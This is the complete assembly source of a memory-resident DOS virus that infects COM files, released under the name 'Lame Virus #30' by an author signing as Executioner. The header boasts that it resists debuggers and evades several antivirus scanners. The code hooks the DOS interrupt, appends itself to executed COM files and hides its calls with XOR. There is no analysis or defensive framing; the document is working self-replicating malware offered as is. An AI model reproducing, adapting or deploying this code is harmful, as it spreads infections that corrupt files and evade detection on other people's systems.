Lame Virus #30
Executioner
+------------------------------------------------------------------------------+
| Lame Virus #30							       |
| by Executioner/LT							       |
|   o resident parasitic COM infector					       |
|   o uses 386 opcodes							       |
|   o mildly debugger resistant 					       |
|   o unscannable by f-prot/thunderbyte/dr. solomon's anti-virus toolkit       |
|   o length - 336 bytes long						       |
+------------------------------------------------------------------------------+

.model	tiny
.386
v_length equ v_finish-v_start
m_length equ m_finish-v_start
num_para equ (m_length+15)/16
cseg	segment use16
	assume	cs:cseg,ds:cseg,es:cseg
	org	0
v_start:
	mov	ax, 4216h		; installation check
	int	21h
next_i:
	cli				; get delta offset
	movzx	esp, sp
	mov	bp, word ptr [esp-6]
	sub	bp, offset next_i
	sti
	push	ds
	push	es
	mov	ax, ds
	dec	ax
	mov	ds, ax
	sub	di, di
	mov	byte ptr [di], 'Z'
	sub	word ptr [di+3], num_para+1
	sub	word ptr [di+12h], num_para+1
	mov	ax, word ptr ds:[di+12h]
	mov	ds, ax
	mov	byte ptr ds:[di], 'Z'
	mov	word ptr ds:[di+1], 8
	mov	word ptr ds:[di+3], num_para
	inc	ax
	mov	es, ax
	lea	si, [bp+v_start]
	mov	cx, v_length
	push	di
	push	cs
	pop	ds
	rep	movsb
	pop	ds
	mov	si, 84h
	movsw
	movsw
	cli
	mov	word ptr ds:[si-4], offset new_int21
	mov	word ptr ds:[si-2], es
	sti
	pop	es
	pop	ds
	jmp	v_start
save	db	0cdh, 20h, 0, 0
jmp_code db	0e9h
jmp_offset dw	?
id_byte db	0
text	db	"Lame Virus 30/Executioner",0
execute_file:
	xor	ax, 1234h
	pusha
	push	ds
	mov	ax, 4214h		; open r/w
	int	21h
	xchg	bx, ax
	push	cs
	pop	ds
	mov	ax, 4211h		; read
	mov	cx, 4
	mov	dx, offset save
	int	21h
	mov	ax, word ptr [save]
	xor	ax, 1234h
	cmp	ax, 'MZ' xor 1234h
	jz	already_infected
	cmp	ax, 'ZM' xor 1234h
	jz	already_infected
	cmp	byte ptr [save], 0e9h
	jnz	not_infected
	cmp	byte ptr [save+3], 0
	jz	already_infected
not_infected:
	mov	ax, 4212h		; seek eof
	int	21h
	sub	ax, 3
	mov	[jmp_offset], ax
	mov	ax, 4210h		; write
	mov	cx, v_length
	mov	dx, 0
	int	21h
	mov	ax, 4213h		; seek start
	int	21h
	mov	ax, 4210h		; write
	mov	cx, 4
	mov	dx, offset jmp_code
	int	21h
already_infected:
	mov	ax, 4215h		; close
	int	21h
	pop	ds
	popa
	jmp	do_orig_int
read:
	mov	ah, 3fh
	jmp	do_orig_int
write:
	mov	ah, 40h
	jmp	do_orig_int
seek_eof:
	mov	ax, 4202h
	sub	cx, cx
	cwd
	jmp	do_orig_int
seek_start:
	mov	ax, 4200h
	sub	cx, cx
	cwd
	jmp	do_orig_int
open_rw:
	mov	ax, 3d02h
	jmp	do_orig_int
close:
	mov	ah, 3eh
	jmp	do_orig_int
ret_com:
	popf
	mov	di, 100h
	movzx	esp, sp
	mov	si, word ptr ss:[esp]
	add	si, offset save-offset next_i
	movsw
	movsw
	mov	word ptr [esp], 100h
	iret
new_int21:
	pushf
	xor	ax, 1234h
	cmp	ax, 4210h xor 1234h
	jz	write
	cmp	ax, 4211h xor 1234h
	jz	read
	cmp	ax, 4212h xor 1234h
	jz	seek_eof
	cmp	ax, 4213h xor 1234h
	jz	seek_start
	cmp	ax, 4214h xor 1234h
	jz	open_rw
	cmp	ax, 4215h xor 1234h
	jz	close
	cmp	ax, 4216h xor 1234h
	jz	ret_com
	cmp	ax, 4b00h xor 1234h
	je	execute_file
	xor	ax, 1234h
do_orig_int:
	popf
	db	0eah
v_finish:
old_int21	dd	?
m_finish:
cseg	ends
	end	v_start
